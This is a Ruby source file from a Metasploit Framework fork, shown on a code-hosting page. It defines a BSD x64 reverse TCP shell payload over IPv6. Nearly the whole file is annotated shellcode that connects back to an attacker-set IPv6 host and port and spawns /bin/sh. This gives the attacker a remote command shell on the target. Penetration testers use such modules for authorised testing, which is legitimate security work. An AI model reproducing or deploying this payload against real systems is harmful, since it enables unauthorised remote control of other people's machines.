PageRenderTime 35ms CodeModel.GetById 10ms RepoModel.GetById 0ms app.codeStats 0ms

/modules/payloads/singles/bsd/x64/shell_reverse_ipv6_tcp.rb

https://gitlab.com/alx741/metasploit-framework
Ruby | 92 lines | 79 code | 6 blank | 7 comment | 1 complexity | 7177f739e6ba7ab1e5524977f0288071 MD5 | raw file
  1. ##
  2. # This module requires Metasploit: http://metasploit.com/download
  3. # Current source: https://github.com/rapid7/metasploit-framework
  4. ##
  5. require 'msf/core'
  6. require 'msf/core/handler/reverse_tcp'
  7. require 'msf/base/sessions/command_shell'
  8. require 'msf/base/sessions/command_shell_options'
  9. module Metasploit3
  10. CachedSize = 105
  11. include Msf::Payload::Single
  12. include Msf::Payload::Bsd
  13. include Msf::Sessions::CommandShellOptions
  14. def initialize(info = {})
  15. super(merge_info(info,
  16. 'Name' => 'BSD x64 Command Shell, Reverse TCP Inline (IPv6)',
  17. 'Description' => 'Connect back to attacker and spawn a command shell over IPv6',
  18. 'Author' => 'Balazs Bucsay @xoreipeip <balazs.bucsay[-at-]rycon[-dot-]hu>',
  19. 'References' => ['URL', 'https://github.com/earthquake/shellcodes/blob/master/x86_64_bsd_ipv6_reverse_tcp.asm.c'],
  20. 'License' => MSF_LICENSE,
  21. 'Platform' => 'bsd',
  22. 'Arch' => ARCH_X86_64,
  23. 'Handler' => Msf::Handler::ReverseTcp,
  24. 'Session' => Msf::Sessions::CommandShellUnix,
  25. 'Payload' =>
  26. {
  27. 'Offsets' =>
  28. {
  29. 'LHOST' => [ 85, 'ADDR6' ],
  30. 'LPORT' => [ 79, 'n' ],
  31. 'SCOPEID' => [ 101, 'V' ]
  32. },
  33. 'Payload' =>
  34. "\x6a\x61" +# pushq $0x61 #
  35. "\x58" +# pop %rax #
  36. "\x99" +# cltd #
  37. "\x6a\x1c" +# pushq $0x1c #
  38. "\x5f" +# pop %rdi #
  39. "\x6a\x01" +# pushq $0x1 #
  40. "\x5e" +# pop %rsi #
  41. "\x0f\x05" +# syscall #
  42. "\x48\x97" +# xchg %rax,%rdi #
  43. "\x04\x3e" +# add $0x3e,%al #
  44. "\x0f\x05" +# syscall #
  45. "\xff\xc6" +# inc %esi #
  46. "\x04\x59" +# add $0x59,%al #
  47. "\x0f\x05" +# syscall #
  48. "\xff\xce" +# dec %esi #
  49. "\xff\xce" +# dec %esi #
  50. "\x04\x58" +# add $0x58,%al #
  51. "\x0f\x05" +# syscall #
  52. "\xe9\x23\x00\x00\x00" +# jmpq <forth> #
  53. # back:
  54. "\x5e" +# pop %rsi #
  55. "\x6a\x1c" +# pushq $0x1c #
  56. "\x5a" +# pop %rdx #
  57. "\x66\x83\xc0\x62" +# add $0x62,%ax #
  58. "\x0f\x05" +# syscall #
  59. "\x99" +# cltd #
  60. "\x52" +# push %rdx #
  61. "\x48\xbf\x2f\x2f\x62" +# mov "//b" #
  62. "\x69\x6e\x2f\x73\x68" +# "in/sh",%rdi #
  63. "\x57" +# push %rdi #
  64. "\x48\x89\xe7" +# mov %rsp,%rdi #
  65. "\x52" +# push %rdx #
  66. "\x57" +# push %rdi #
  67. "\x48\x89\xe6" +# mov %rsp,%rsi #
  68. "\x04\x3b" +# add $0x3b,%al #
  69. "\x0f\x05" +# syscall #
  70. # forth:
  71. "\xe8\xd8\xff\xff\xff" +# callq <back> #
  72. # sockaddr_in6
  73. "\x00\x1c\x11\x5c" +# AF_INET6+port #
  74. "\x00\x00\x00\x00" +# no-one-cares #
  75. "\x00\x00\x00\x00" +# IPv6- #
  76. "\x00\x00\x00\x00" +# addr- #
  77. "\x00\x00\x00\x00" +# in- #
  78. "\x00\x00\x00\x01" +# 16 bytes #
  79. "\x00\x00\x00\x00" # Scope ID #
  80. }
  81. ))
  82. register_options([
  83. OptInt.new('SCOPEID', [false, "IPv6 scope ID, for link-local addresses", 0])
  84. ])
  85. end
  86. end